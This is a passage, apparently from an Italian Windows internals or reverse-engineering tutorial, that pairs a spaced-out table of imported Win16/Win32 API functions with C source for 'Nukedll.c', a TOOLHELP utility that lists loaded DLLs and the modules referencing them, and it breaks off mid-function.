ADVAPI 32 260 OpenPr ocessToken
ADVAPI 32 279 RegCl oseKey
ADVAPI 32 282 RegCr eat eKeyA
ADVAPI 32 285 RegCr eat eKeyW
ADVAPI 32 286 RegDel et eKeyA
ADVAPI 32 287 RegDel et eKeyW
ADVAPI 32 288 RegDel et eVal ueA
ADVAPI 32 289 RegDel et eVal ueW
ADVAPI 32 290 RegEnumKeyA
ADVAPI 32 291 RegEnumKeyExA
ADVAPI 32 293 RegEnumKeyW
ADVAPI 32 294 RegEnumVal ueA
ADVAPI 32 295 RegEnumVal ueW
ADVAPI 32 301 RegOpenKeyA
ADVAPI 32 302 RegOpenKeyExA
ADVAPI 32 304 RegOpenKeyW
ADVAPI 32 305 RegQuer yI nf oKeyA
ADVAPI 32 309 RegQuer yVal ueA
ADVAPI 32 310 RegQuer yVal ueExA
ADVAPI 32 311 RegQuer yVal ueExW
ADVAPI 32 320 RegSet Val ueA
ADVAPI 32 321 RegSet Val ueExA
ADVAPI 32 322 RegSet Val ueExW
ADVAPI 32 326 Regi st er Event Sour ceA
ADVAPI 32 332 Repor t Event A
ADVAPI 32 348 Set Secur i t yDescr i pt or Dacl
GDI 32 0 Abor t Doc
GDI 32 7 Ar c
GDI 32 9 Begi nPat h
GDI 32 10 Bi t Bl t
GDI 32 15 Cl oseEnhMet aFi l e
GDI 32 17 Cl oseMet aFi l e
GDI 32 19 Combi neRgn
GDI 32 21 CopyEnhMet aFi l eA
GDI 32 23 CopyMet aFi l eA
GDI 32 25 Cr eat eBi t map
GDI 32 27 Cr eat eBr ushI ndi r ect
GDI 32 30 Cr eat eCompat i bl eBi t map
GDI 32 31 Cr eat eCompat i bl eDC
GDI 32 32 Cr eat eDCA
GDI 32 36 Cr eat eDI BSect i on
GDI 32 37 Cr eat eDI Bi t map
GDI 32 40 Cr eat eEl l i pt i cRgnI ndi r ect
GDI 32 41 Cr eat eEnhMet aFi l eA
GDI 32 44 Cr eat eFont I ndi r ect A
GDI 32 47 Cr eat eHal f t onePal et t e
GDI 32 48 Cr eat eHat chBr ush
GDI 32 49 Cr eat eI CA
GDI 32 51 Cr eat eMet aFi l eA
GDI 32 53 Cr eat ePal et t e
GDI 32 54 Cr eat ePat t er nBr ush
GDI 32 55 Cr eat ePen
GDI 32 56 Cr eat ePenI ndi r ect
GDI 32 59 Cr eat eRect Rgn
GDI 32 60 Cr eat eRect RgnI ndi r ect
GDI 32 61 Cr eat eRoundRect Rgn
GDI 32 64 Cr eat eSol i dBr ush
GDI 32 67 Del et eDC
GDI 32 68 Del et eEnhMet aFi l e
GDI 32 69 Del et eMet aFi l e
GDI 32 70 Del et eObj ect
GDI 32 75 El l i pse
GDI 32 76 EndDoc
GDI 32 77 EndPage
GDI 32 78 EndPat h
GDI 32 84 EnumFont sA
GDI 32 90 Equal Rgn
GDI 32 91 Escape
GDI 32 92 Excl udeCl i pRect
GDI 32 94 Ext Cr eat eRegi on
GDI 32 97 Ext Sel ect Cl i pRgn
GDI 32 98 Ext Text Out A
GDI 32 171 Get Bi t mapBi t s
GDI 32 173 Get BkCol or
GDI 32 190 Get Cl i pBox
GDI 32 194 Get Cur r ent Obj ect
GDI 32 198 Get DI Bi t s
GDI 32 199 Get Devi ceCaps
GDI 32 206 Get EnhMet aFi l eHeader
GDI 32 226 Get MapMode
GDI 32 232 Get Near est Col or
GDI 32 234 Get Obj ect A
GDI 32 235 Get Obj ect Type
GDI 32 239 Get Pal et t eEnt r i es
GDI 32 241 Get Pi xel
GDI 32 244 Get ROP2
GDI 32 250 Get St ockObj ect
GDI 32 252 Get Syst emPal et t eEnt r i es
GDI 32 258 Get Text Col or
GDI 32 261 Get Text Ext ent Poi nt 32A
GDI 32 263 Get Text Ext ent Poi nt A
GDI 32 267 Get Text Met r i csA
GDI 32 270 Get Vi ewpor t Ext Ex
GDI 32 273 Get Wi ndowExt Ex
GDI 32 274 Get Wi ndowOr gEx
GDI 32 276 I nt er sect Cl i pRect
GDI 32 278 LPt oDP
GDI 32 280 Li neTo
GDI 32 283 MoveToEx
GDI 32 286 Of f set Rgn
GDI 32 288 Of f set Wi ndowOr gEx
GDI 32 290 Pat Bl t
GDI 32 291 Pat hToRegi on
GDI 32 292 Pi e
GDI 32 293 Pl ayEnhMet aFi l e
GDI 32 295 Pl ayMet aFi l e
GDI 32 309 Pt I nRegi on
GDI 32 311 Real i zePal et t e
GDI 32 314 Rect angl e
GDI 32 318 Reset DCA
GDI 32 321 Rest or eDC
GDI 32 322 RoundRect
GDI 32 323 SaveDC
GDI 32 324 Scal eVi ewpor t Ext Ex
GDI 32 325 Scal eWi ndowExt Ex
GDI 32 328 Sel ect Cl i pRgn
GDI 32 330 Sel ect Obj ect
GDI 32 331 Sel ect Pal et t e
GDI 32 332 Set Abor t Pr oc
GDI 32 336 Set BkCol or
GDI 32 337 Set BkMode
GDI 32 339 Set Br ushOr gEx
GDI 32 342 Set DI BCol or Tabl e
GDI 32 353 Set MapMode
GDI 32 361 Set Pi xel V
GDI 32 363 Set ROP2
GDI 32 364 Set Rect Rgn
GDI 32 366 Set St r et chBl t Mode
GDI 32 368 Set Text Al i gn
GDI 32 370 Set Text Col or
GDI 32 372 Set Vi ewpor t Ext Ex
GDI 32 373 Set Vi ewpor t Or gEx
GDI 32 376 Set Wi ndowExt Ex
GDI 32 377 Set Wi ndowOr gEx
GDI 32 379 St ar t DocA
GDI 32 381 St ar t Page
GDI 32 382 St r et chBl t
GDI 32 383 St r et chDI Bi t s
GDI 32 387 Text Out A
GDI 32 389 Tr ansl at eChar set I nf o
GDI 32 391 Unr eal i zeObj ect
GDI 32 396 Wi denPat h
KERNEL32 24 Cl oseHandl e
KERNEL32 30 Compar eSt r i ngA
KERNEL32 31 Compar eSt r i ngW
KERNEL32 42 Cr eat eDi r ect or yA
KERNEL32 46 Cr eat eEvent A
KERNEL32 49 Cr eat eFi l eA
KERNEL32 61 Cr eat ePr ocessA
KERNEL32 62 Cr eat ePr ocessW
KERNEL32 64 Cr eat eSemaphor eA
KERNEL32 67 Cr eat eThr ead
KERNEL32 76 Del et eCr i t i cal Sect i on
KERNEL32 78 Del et eFi l eA
KERNEL32 85 Dupl i cat eHandl e
KERNEL32 88 Ent er Cr i t i cal Sect i on
KERNEL32 107 Exi t Pr ocess
KERNEL32 108 Exi t Thr ead
KERNEL32 119 Fi l eTi meToLocal Fi l eTi me
KERNEL32 120 Fi l eTi meToSyst emTi me
KERNEL32 126 Fi ndCl ose
KERNEL32 130 Fi ndFi r st Fi l eA
KERNEL32 135 Fi ndNext Fi l eA
KERNEL32 137 Fi ndResour ceA
KERNEL32 142 Fl ushFi l eBuf f er s
KERNEL32 143 Fl ushI nst r uct i onCache
KERNEL32 147 For mat MessageA
KERNEL32 148 For mat MessageW
KERNEL32 150 Fr eeEnvi r onment St r i ngsA
KERNEL32 151 Fr eeEnvi r onment St r i ngsW
KERNEL32 152 Fr eeLi br ar y
KERNEL32 154 Fr eeResour ce
KERNEL32 157 Get ACP
KERNEL32 163 Get CPI nf o
KERNEL32 170 Get CommandLi neA
KERNEL32 174 Get Comput er NameA
KERNEL32 209 Get Cur r ent Di r ect or yA
KERNEL32 211 Get Cur r ent Pr ocess
KERNEL32 212 Get Cur r ent Pr ocessI d
KERNEL32 214 Get Cur r ent Thr eadI d
KERNEL32 223 Get Dr i veTypeA
KERNEL32 225 Get Envi r onment St r i ngs
KERNEL32 227 Get Envi r onment St r i ngsW
KERNEL32 228 Get Envi r onment Var i abl eA
KERNEL32 230 Get Exi t CodePr ocess
KERNEL32 232 Get Fi l eAt t r i but esA
KERNEL32 238 Get Fi l eTi me
KERNEL32 239 Get Fi l eType
KERNEL32 240 Get Ful l Pat hNameA
KERNEL32 244 Get Last Er r or
KERNEL32 245 Get Local Ti me
KERNEL32 246 Get Local eI nf oA
KERNEL32 252 Get Modul eFi l eNameA
KERNEL32 253 Get Modul eFi l eNameW
KERNEL32 254 Get Modul eHandl eA
KERNEL32 265 Get OEMCP
KERNEL32 274 Get Pr i vat ePr of i l eSt r i ngA
KERNEL32 278 Get Pr ocAddr ess
KERNEL32 291 Get Pr of i l eSt r i ngA
KERNEL32 294 Get Shor t Pat hNameA
KERNEL32 296 Get St ar t upI nf oA
KERNEL32 298 Get St dHandl e
KERNEL32 299 Get St r i ngTypeA
KERNEL32 300 Get St r i ngTypeExA
KERNEL32 302 Get St r i ngTypeW
KERNEL32 303 Get Syst emDef aul t LCI D
KERNEL32 304 Get Syst emDef aul t LangI D
KERNEL32 305 Get Syst emDi r ect or yA
KERNEL32 307 Get Syst emI nf o
KERNEL32 309 Get Syst emTi me
KERNEL32 315 Get TempFi l eNameA
KERNEL32 317 Get TempPat hA
KERNEL32 325 Get Ti ckCount
KERNEL32 328 Get Ti meZoneI nf or mat i on
KERNEL32 329 Get User Def aul t LCI D
KERNEL32 330 Get User Def aul t LangI D
KERNEL32 332 Get Ver si on
KERNEL32 333 Get Ver si onExA
KERNEL32 335 Get Vol umeI nf or mat i onA
KERNEL32 337 Get Wi ndowsDi r ect or yA
KERNEL32 339 Gl obal AddAt omA
KERNEL32 341 Gl obal Al l oc
KERNEL32 343 Gl obal Del et eAt om
KERNEL32 348 Gl obal Fr ee
KERNEL32 351 Gl obal Handl e
KERNEL32 352 Gl obal Lock
KERNEL32 354 Gl obal ReAl l oc
KERNEL32 355 Gl obal Si ze
KERNEL32 358 Gl obal Unl ock
KERNEL32 360 HeapAl l oc
KERNEL32 362 HeapCr eat e
KERNEL32 364 HeapDest r oy
KERNEL32 366 HeapFr ee
KERNEL32 369 HeapReAl l oc
KERNEL32 370 HeapSi ze
KERNEL32 377 I ni t i al i zeCr i t i cal Sect i on
KERNEL32 379 I nt er l ockedDecr ement
KERNEL32 382 I nt er l ockedI ncr ement
KERNEL32 384 I sBadCodePt r
KERNEL32 387 I sBadReadPt r
KERNEL32 391 I sDBCSLeadByt e
KERNEL32 397 LCMapSt r i ngA
KERNEL32 398 LCMapSt r i ngW
KERNEL32 399 LeaveCr i t i cal Sect i on
KERNEL32 400 LoadLi br ar yA
KERNEL32 401 LoadLi br ar yExA
KERNEL32 405 LoadResour ce
KERNEL32 417 LockFi l e
KERNEL32 419 LockResour ce
KERNEL32 422 MoveFi l eA
KERNEL32 426 Mul Di v
KERNEL32 427 Mul t i Byt eToWi deChar
KERNEL32 457 Rai seExcept i on
KERNEL32 470 ReadFi l e
KERNEL32 478 Rel easeSemaphor e
KERNEL32 479 RemoveDi r ect or yA
KERNEL32 481 Reset Event
KERNEL32 482 ResumeThr ead
KERNEL32 485 Rt l Unwi nd
KERNEL32 489 Sear chPat hA
KERNEL32 524 Set Cur r ent Di r ect or yA
KERNEL32 528 Set EndOf Fi l e
KERNEL32 529 Set Envi r onment Var i abl eA
KERNEL32 531 Set Er r or Mode
KERNEL32 532 Set Event
KERNEL32 535 Set Fi l eAt t r i but esA
KERNEL32 537 Set Fi l ePoi nt er
KERNEL32 538 Set Fi l eTi me
KERNEL32 539 Set Handl eCount
KERNEL32 542 Set Last Er r or
KERNEL32 543 Set Local Ti me
KERNEL32 553 Set St dHandl e
KERNEL32 574 Si zeof Resour ce
KERNEL32 575 Sl eep
KERNEL32 580 Syst emTi meToFi l eTi me
KERNEL32 582 Ter mi nat ePr ocess
KERNEL32 584 Tl sAl l oc
KERNEL32 585 Tl sFr ee
KERNEL32 586 Tl sGet Val ue
KERNEL32 587 Tl sSet Val ue
KERNEL32 592 Unhandl edExcept i onFi l t er
KERNEL32 593 Unl ockFi l e
KERNEL32 603 Vi r t ual Al l oc
KERNEL32 606 Vi r t ual Fr ee
KERNEL32 609 Vi r t ual Pr ot ect
KERNEL32 611 Vi r t ual Quer y
KERNEL32 618 Wai t For Si ngl eObj ect
KERNEL32 622 Wi deChar ToMul t i Byt e
KERNEL32 623 Wi nExec
KERNEL32 635 Wr i t eFi l e
KERNEL32 651 _l cl ose
KERNEL32 653 _l l seek
KERNEL32 655 _l r ead
KERNEL32 656 _l wr i t e
KERNEL32 658 l st r cat A
KERNEL32 661 l st r cmpA
KERNEL32 664 l st r cmpi A
KERNEL32 665 l st r cmpi W
KERNEL32 667 l st r cpyA
KERNEL32 668 l st r cpyW
KERNEL32 670 l st r cpynA
KERNEL32 673 l st r l enA
KERNEL32 674 l st r l enW
OLE32 0 Bi ndMoni ker
OLE32 5 CLSI DFr omPr ogI D
OLE32 6 CLSI DFr omSt r i ng
OLE32 11 CoCr eat eGui d
OLE32 12 CoCr eat eI nst ance
OLE32 14 CoDi sconnect Obj ect
OLE32 20 CoFr eeUnusedLi br ar i es
OLE32 23 CoGet Cl assObj ect
OLE32 29 CoGet Mal l oc
OLE32 43 CoI sOl e1Cl ass
OLE32 45 CoLockObj ect Ext er nal
OLE32 48 CoMar shal I nt er f ace
OLE32 54 CoRegi st er Cl assObj ect
OLE32 56 CoRegi st er MessageFi l t er
OLE32 62 CoRevokeCl assObj ect
OLE32 68 CoTaskMemAl l oc
OLE32 69 CoTaskMemFr ee
OLE32 75 CoUnmar shal I nt er f ace
OLE32 77 Cr eat eBi ndCt x
OLE32 79 Cr eat eDat aAdvi seHol der
OLE32 84 Cr eat eI LockByt esOnHGl obal
OLE32 86 Cr eat eOl eAdvi seHol der
OLE32 88 Cr eat eSt r eamOnHGl obal
OLE32 92 DoDr agDr op
OLE32 95 Get Cl assFi l e
OLE32 143 I I DFr omSt r i ng
OLE32 144 I sAccel er at or
OLE32 150 MkPar seDi spl ayName
OLE32 154 Ol eConver t I St or ageToOLESTREAM
OLE32 156 Ol eConver t OLESTREAMToI St or age
OLE32 162 Ol eCr eat eFr omDat a
OLE32 164 Ol eCr eat eFr omFi l e
OLE32 166 Ol eCr eat eLi nk
OLE32 168 Ol eCr eat eLi nkFr omDat a
OLE32 170 Ol eCr eat eLi nkToFi l e
OLE32 172 Ol eCr eat eMenuDescr i pt or
OLE32 174 Ol eDest r oyMenuDescr i pt or
OLE32 175 Ol eDoAut oConver t
OLE32 177 Ol eDupl i cat eDat a
OLE32 178 Ol eFl ushCl i pboar d
OLE32 179 Ol eGet Aut oConver t
OLE32 180 Ol eGet Cl i pboar d
OLE32 181 Ol eGet I conOf Cl ass
OLE32 183 Ol eI ni t i al i ze
OLE32 185 Ol eI sCur r ent Cl i pboar d
OLE32 186 Ol eI sRunni ng
OLE32 187 Ol eLoad
OLE32 189 Ol eLockRunni ng
OLE32 192 Ol eQuer yCr eat eFr omDat a
OLE32 193 Ol eQuer yLi nkFr omDat a
OLE32 196 Ol eRegGet Mi scSt at us
OLE32 197 Ol eRegGet User Type
OLE32 198 Ol eRun
OLE32 199 Ol eSave
OLE32 200 Ol eSaveToSt r eam
OLE32 202 Ol eSet Cl i pboar d
OLE32 204 Ol eSet MenuDescr i pt or
OLE32 205 Ol eTr ansl at eAccel er at or
OLE32 206 Ol eUni ni t i al i ze
OLE32 208 Pr ogI DFr omCLSI D
OLE32 213 ReadCl assSt g
OLE32 214 ReadCl assSt m
OLE32 218 Regi st er Dr agDr op
OLE32 219 Rel easeSt gMedi um
OLE32 220 RevokeDr agDr op
OLE32 232 St gCr eat eDocf i l e
OLE32 233 St gCr eat eDocf i l eOnI LockByt es
OLE32 237 St gI sSt or ageI LockByt es
OLE32 239 St gOpenSt or age
OLE32 240 St gOpenSt or ageOnI LockByt es
OLE32 242 St r i ngFr omCLSI D
OLE32 243 St r i ngFr omGUI D2
OLE32 254 Wr i t eCl assSt g
OLEAUT32 2371 Ol eLoad
USER32 1 Adj ust Wi ndowRect
USER32 2 Adj ust Wi ndowRect Ex
USER32 4 AppendMenuA
USER32 7 At t achThr eadI nput
USER32 8 Begi nDef er Wi ndowPos
USER32 9 Begi nPai nt
USER32 10 Br i ngWi ndowToTop
USER32 17 Cal l Next HookEx
USER32 18 Cal l Wi ndowPr ocA
USER32 29 Char Lower A
USER32 30 Char Lower Buf f A
USER32 31 Char Lower Buf f W
USER32 33 Char Next A
USER32 36 Char Pr evA
USER32 39 Char ToOemA
USER32 40 Char ToOemBuf f A
USER32 43 Char Upper A
USER32 44 Char Upper Buf f A
USER32 45 Char Upper Buf f W
USER32 48 CheckMenuI t em
USER32 52 Chi l dWi ndowFr omPoi nt Ex
USER32 54 Cl i ent ToScr een
USER32 55 Cl i pCur sor
USER32 56 Cl oseCl i pboar d
USER32 60 CopyAccel er at or Tabl eA
USER32 64 CopyRect
USER32 66 Cr eat eAccel er at or Tabl eA
USER32 68 Cr eat eCar et
USER32 69 Cr eat eCur sor
USER32 75 Cr eat eDi al ogPar amA
USER32 77 Cr eat eI con
USER32 83 Cr eat eMenu
USER32 84 Cr eat ePopupMenu
USER32 85 Cr eat eWi ndowExA
USER32 89 DdeAbandonTr ansact i on
USER32 92 DdeCl i ent Tr ansact i on
USER32 93 DdeCmpSt r i ngHandl es
USER32 94 DdeConnect
USER32 96 DdeCr eat eDat aHandl e
USER32 97 DdeCr eat eSt r i ngHandl eA
USER32 99 DdeDi sconnect
USER32 102 DdeFr eeDat aHandl e
USER32 103 DdeFr eeSt r i ngHandl e
USER32 104 DdeGet Dat a
USER32 105 DdeGet Last Er r or
USER32 108 DdeI ni t i al i zeA
USER32 111 DdeNameSer vi ce
USER32 112 DdePost Advi se
USER32 113 DdeQuer yConvI nf o
USER32 115 DdeQuer ySt r i ngA
USER32 119 DdeSet User Handl e
USER32 121 DdeUni ni t i al i ze
USER32 124 Def Fr amePr ocA
USER32 126 Def MDI Chi l dPr ocA
USER32 128 Def Wi ndowPr ocA
USER32 130 Def er Wi ndowPos
USER32 131 Del et eMenu
USER32 133 Dest r oyAccel er at or Tabl e
USER32 134 Dest r oyCar et
USER32 135 Dest r oyCur sor
USER32 136 Dest r oyI con
USER32 137 Dest r oyMenu
USER32 138 Dest r oyWi ndow
USER32 142 Di al ogBoxPar amA
USER32 144 Di spat chMessageA
USER32 161 Dr awFocusRect
USER32 163 Dr awFr ameCont r ol
USER32 164 Dr awI con
USER32 166 Dr awMenuBar
USER32 170 Dr awText A
USER32 171 Dr awText ExA
USER32 175 Empt yCl i pboar d
USER32 176 Enabl eMenuI t em
USER32 178 Enabl eWi ndow
USER32 179 EndDef er Wi ndowPos
USER32 180 EndDi al og
USER32 182 EndPai nt
USER32 185 EnumCl i pboar dFor mat s
USER32 197 EnumThr eadWi ndows
USER32 201 Equal Rect
USER32 204 Fi l l Rect
USER32 205 Fi ndWi ndowA
USER32 208 Fi ndWi ndowW
USER32 210 Fr ameRect
USER32 213 Get Act i veWi ndow
USER32 215 Get AsyncKeySt at e
USER32 216 Get Capt ur e
USER32 217 Get Car et Bl i nkTi me
USER32 218 Get Car et Pos
USER32 219 Get Cl assI nf oA
USER32 220 Get Cl assI nf oExA
USER32 225 Get Cl assNameA
USER32 228 Get Cl i ent Rect
USER32 230 Get Cl i pboar dDat a
USER32 231 Get Cl i pboar dFor mat NameA
USER32 235 Get Cur sor
USER32 237 Get Cur sor Pos
USER32 238 Get DC
USER32 239 Get DCEx
USER32 240 Get Deskt opWi ndow
USER32 243 Get Dl gI t em
USER32 247 Get Doubl eCl i ckTi me
USER32 248 Get Focus
USER32 249 Get For egr oundWi ndow
USER32 250 Get I conI nf o
USER32 257 Get KeySt at e
USER32 258 Get Keyboar dLayout
USER32 262 Get Keyboar dSt at e
USER32 264 Get Last Act i vePopup
USER32 265 Get Menu
USER32 269 Get MenuI t emCount
USER32 270 Get MenuI t emI D
USER32 271 Get MenuI t emI nf oA
USER32 274 Get MenuSt at e
USER32 275 Get MenuSt r i ngA
USER32 279 Get MessagePos
USER32 280 Get MessageTi me
USER32 285 Get Par ent
USER32 289 Get Pr opA
USER32 291 Get QueueSt at us
USER32 292 Get Scr ol l I nf o
USER32 293 Get Scr ol l Pos
USER32 296 Get SubMenu
USER32 297 Get SysCol or
USER32 299 Get Syst emMenu
USER32 300 Get Syst emMet r i cs
USER32 301 Get TabbedText Ext ent A
USER32 306 Get Updat eRect
USER32 307 Get Updat eRgn
USER32 311 Get Wi ndow
USER32 313 Get Wi ndowDC
USER32 314 Get Wi ndowLongA
USER32 316 Get Wi ndowPl acement
USER32 317 Get Wi ndowRect
USER32 318 Get Wi ndowRgn
USER32 319 Get Wi ndowText A
USER32 320 Get Wi ndowText Lengt hA
USER32 323 Get Wi ndowThr eadPr ocessI d
USER32 327 Hi deCar et
USER32 331 I nf l at eRect
USER32 332 I nser t MenuA
USER32 337 I nt er sect Rect
USER32 338 I nval i dat eRect
USER32 339 I nval i dat eRgn
USER32 341 I sChar Al phaA
USER32 349 I sChi l d
USER32 350 I sCl i pboar dFor mat Avai l abl e
USER32 352 I sDi al ogMessageA
USER32 356 I sI coni c
USER32 358 I sRect Empt y
USER32 359 I sWi ndow
USER32 360 I sWi ndowEnabl ed
USER32 362 I sWi ndowVi si bl e
USER32 363 I sZoomed
USER32 365 Ki l l Ti mer
USER32 366 LoadAccel er at or sA
USER32 368 LoadBi t mapA
USER32 370 LoadCur sor A
USER32 374 LoadI conA
USER32 376 LoadI mageA
USER32 387 LoadSt r i ngA
USER32 390 LockWi ndowUpdat e
USER32 400 MapWi ndowPoi nt s
USER32 404 MessageBeep
USER32 405 MessageBoxA
USER32 408 MessageBoxI ndi r ect A
USER32 411 Modi f yMenuA
USER32 413 MoveWi ndow
USER32 414 MsgWai t For Mul t i pl eObj ect s
USER32 417 OemToChar A
USER32 421 Of f set Rect
USER32 422 OpenCl i pboar d
USER32 431 PeekMessageA
USER32 432 PeekMessageW
USER32 433 Post MessageA
USER32 434 Post MessageW
USER32 435 Post Qui t Message
USER32 436 Post Thr eadMessageA
USER32 443 Pt I nRect
USER32 446 Regi st er Cl assA
USER32 447 Regi st er Cl assExA
USER32 450 Regi st er Cl i pboar dFor mat A
USER32 460 Rel easeCapt ur e
USER32 461 Rel easeDC
USER32 462 RemoveMenu
USER32 463 RemovePr opA
USER32 467 Scr eenToCl i ent
USER32 472 SendDl gI t emMessageA
USER32 474 SendMessageA
USER32 482 Set Act i veWi ndow
USER32 483 Set Capt ur e
USER32 485 Set Car et Pos
USER32 489 Set Cl i pboar dDat a
USER32 492 Set Cur sor
USER32 494 Set Cur sor Pos
USER32 498 Set Dl gI t emText A
USER32 501 Set Focus
USER32 502 Set For egr oundWi ndow
USER32 504 Set Keyboar dSt at e
USER32 507 Set Menu
USER32 509 Set MenuDef aul t I t em
USER32 511 Set MenuI t emI nf oA
USER32 515 Set Par ent
USER32 518 Set Pr opA
USER32 520 Set Rect
USER32 522 Set Scr ol l I nf o
USER32 523 Set Scr ol l Pos
USER32 524 Set Scr ol l Range
USER32 534 Set Ti mer
USER32 538 Set Wi ndowCont ext Hel pI d
USER32 539 Set Wi ndowLongA
USER32 542 Set Wi ndowPos
USER32 543 Set Wi ndowRgn
USER32 545 Set Wi ndowText A
USER32 549 Set Wi ndowsHookExA
USER32 550 Set Wi ndowsHookExW
USER32 552 ShowCar et
USER32 553 ShowCur sor
USER32 555 ShowScr ol l Bar
USER32 557 ShowWi ndow
USER32 560 Subt r act Rect
USER32 564 Syst emPar amet er sI nf oA
USER32 566 TabbedText Out A
USER32 570 ToAsci i
USER32 575 Tr ackPopupMenu
USER32 580 Tr ansl at eMDI SysAccel
USER32 581 Tr ansl at eMessage
USER32 584 UnhookWi ndowsHookEx
USER32 589 Unr egi st er Cl assA
USER32 593 Updat eWi ndow
USER32 599 VkKeyScanA
USER32 602 VkKeyScanW
USER32 604 Wai t For I nput I dl e
USER32 605 Wai t Message
USER32 606 Wi nHel pA
USER32 609 Wi ndowFr omPoi nt
USER32 610 keybd_event
USER32 612wspr i nt f A


DLL CARICATE NEL SISTEMA


Fi no ad or a abbi amo anal i zzat o ut i l i t i es che per met t evano di veder e qual i DLL
sono car i cat e nel si st ema.
La cosa i nt er essant e quel l a l egat a al l a met odol ogi a per r i cavar e quest e
i nf or mazi oni da nost r i pr ogr ammi .
I l seguent e pr ogr amma i n C vi most r a l e DLL car i cat e nel si st ema.

Nukedll.c

#include <windows.h>
#include <toolhelp.h>
#include "nukedll.h"

// A private message posted by the NotifyRegister callback routine when
// module load/unload activity starts.
#define WM_UPDATE_DLL_LIST (WM_USER+0x200)

BOOL DllListNeedsRefresh = FALSE; // Set to TRUE when module activity starts
HWND HWndDlg; // The HWND of the main dialog

// Make a variable in a far data segment, thereby preventing a 2nd
// instance of the program from starting up. We have a relocation
// to the DGROUP in the NotifyRegisterCallback() routine. If we
// wanted to be fancy, we could look up the HWND of the previous
// instance and activate it.
int far ForceMultipleDataSegs;

// Returns non-zero if the passed parameter is an HMODULE, 0 otherwise
BOOL IsHModule(HMODULE hModule)
{
MODULEENTRY me;

// Use TOOLHELP to tell us if the passed HMODULE is valid. If we
// were worried about speed, we could treat the HMODULE as a selector
// and read the first two bytes of the segment. If they're 'NE', then
// it's an HMODULE.
me.dwSize = sizeof(me);
return ModuleFindHandle(&me, hModule);
}

// Given a dialog box handle and and a listbox ID, return the item data
// value of the currently selected listbox entry.
DWORD GetSelectedItemData(HWND hWndDlg, int listboxID)
{
int index;

index = (int)SendDlgItemMessage(hWndDlg, listboxID, LB_GETCURSEL, 0, 0);
if ( index == - 1 )
return 0xFFFFFFFF;

return SendDlgItemMessage(hWndDlg, listboxID,
LB_GETITEMDATA, index, 0);
}

// Update the left listbox to reflect the current list of loaded DLLs
void UpdateDllList(HWND hWndDlg)
{
MODULEENTRY me;
BOOL moreToGo;
char szBuffer[256];
HWND hWndListbox;
LPWORD lpModuleFlags;

// Get the listbox's HWND. We'll be sending numerous messages to it,
// so it's more efficient than using SendDlgItemMessage().
hWndListbox = GetDlgItem(hWndDlg, IDL_DLLS);

// Clear the listbox's contents
SendMessage(hWndListbox, LB_RESETCONTENT, 0, 0);

// Use TOOLHELP to enumerate through all the DLLs in the system
me.dwSize = sizeof(me);
moreToGo = ModuleFirst(&me);
while ( moreToGo )
{
// Get a pointer to the flags WORD in the module database
lpModuleFlags = MAKELP(me.hModule, 0xC);

// Is it a DLL module?
if ( *lpModuleFlags & 0x8000 )
{
// Format a string with the module's name and reference count
wsprintf(szBuffer, "%s (%u)", (LPSTR)me.szModule, me.wcUsage);

// Add the string to the beginning of the listbox, and then
// store the HMODULE in the new entry's item data.
SendMessage(hWndListbox, LB_INSERTSTRING, 0,
(LPARAM)(LPSTR)szBuffer);
SendMessage(hWndListbox, LB_SETITEMDATA, 0, me.hModule);
}

moreToGo = ModuleNext(&me); // Go on to next module
}

// After listing all the modules, set the selection to the first one
SendMessage(hWndListbox, LB_SETCURSEL, 0, 0);
}

// update the righthand listbox to show all the modules that reference
// the selected module in the left listbox.
void UpdateReferencingDllList(HWND hWndDlg, HMODULE hModule)
{
MODULEENTRY me;
BOOL moreToGo;
char szBuffer[256];
HWND hWndListbox;
BOOL fHasReferencingDll = FALSE;

// Get the listbox's HWND. We'll be sending numerous messages to it,
// so it's more efficient than using SendDlgItemMessage().
hWndListbox = GetDlgItem(hWndDlg, IDL_USED_BY);

// Clear the listbox's contents
SendMessage(hWndListbox, LB_RESETCONTENT, 0, 0);

// If we were somehow passed an invalid HMODULE, bail out now
if ( IsHModule(hModule) == FALSE )
return;

// Use TOOLHELP to enumerate through all the DLLs in the system
me.dwSize = sizeof(me);
moreToGo = ModuleFirst(&me);
while ( moreToGo )
{
// Make a pointer to the size of the module reference table
// of the current module in the enumeration
LPWORD lpModRefCount = MAKELP(me.hModule, 0x1E);
HMODULE far * lpModRefTable;
WORD i, npModRefTable;

// Make a far pointer to the module reference table of the
// current module in the enumeration
npModRefTable = *(LPWORD)MAKELP(me.hModule, 0x28);
lpModRefTable = MAKELP(me.hModule, npModRefTable);

// Iterate through all the entries in the module reference table
for ( i = 0; i < *lpModRefCount; i++ )
{
// Did we find an HMODULE that matches the one selected in
// the left listbox?
if ( *lpModRefTable == hModule )
{
// At least one module references the selected DLL
fHasReferencingDll = TRUE;

// Add the module name to the right listbox
SendMessage(hWndListbox, LB_ADDSTRING, 0,
(LPARAM)(LPSTR)me.szModule);

break; // No need to keep looking!
}

// Advance to next HMODULE in the module reference table
lpModRefTable++;
}

// Go on to the next module in the system
moreToGo = ModuleNext(&me);
}

// If no module directly references the selected module, the module
// must have been loaded via LoadLibrary.
if ( fHasReferencingDll == FALSE )
{
wsprintf(szBuffer, "%d LoadLibrary loads", GetModuleUsage(hModule));
SendMessage(hWndListbox, LB_ADDSTRING, 0, (LPARAM)(LPSTR)szBuffer);
}
}

// This routine is similar to the UpdateReferencingDllList above. Instead
// of filling in a listbox though, it simply returns true if at least one
// module is currently implicitly linked to the passed HMODULE.
BOOL HasReferencingDll(HMODULE hModule)
{
MODULEENTRY me;
BOOL moreToGo;

if ( IsHModule(hModule) == FALSE )
return FALSE;

me.dwSize = sizeof(me);
moreToGo = ModuleFirst(&me);
while ( moreToGo )
{
LPWORD lpModRefCount = MAKELP(me.hModule, 0x1E);
HMODULE far * lpModRefTable;
WORD i, npModRefTable;

npModRefTable = *(LPWORD)MAKELP(me.hModule, 0x28);
lpModRefTable = MAKELP(me.hModule, npModRefTable);

for ( i = 0; i < *lpModRefCount; i++ )
{
if ( *lpModRefTable == hModule )
return TRUE; // Bail out! At least one referencer
found.

lpModRefTable++; // Advance to next HMODULE
}
moreToGo = ModuleNext(&me);
}
return FALSE;
}

// The TOOLHELP notification handler routine. Looks for for module loads
// and unloads, and tells the main window when to update the DLL list.
BOOL CALLBACK __loadds NotifyRegisterCallback(WORD wID, DWORD dwData)
{
// BC++ 3.1 has a bug where it ignores __loadds. Therefore
// we have to load DS by hand.
#ifdef __BORLANDC__
__asm {
mov ax, seg HWndDlg
mov ds, ax
}
#endif

if ( (wID == NFY_DELMODULE) || (wID == NFY_STARTDLL) )
{
// Only do this for the first DLL in the group of loads/unloads
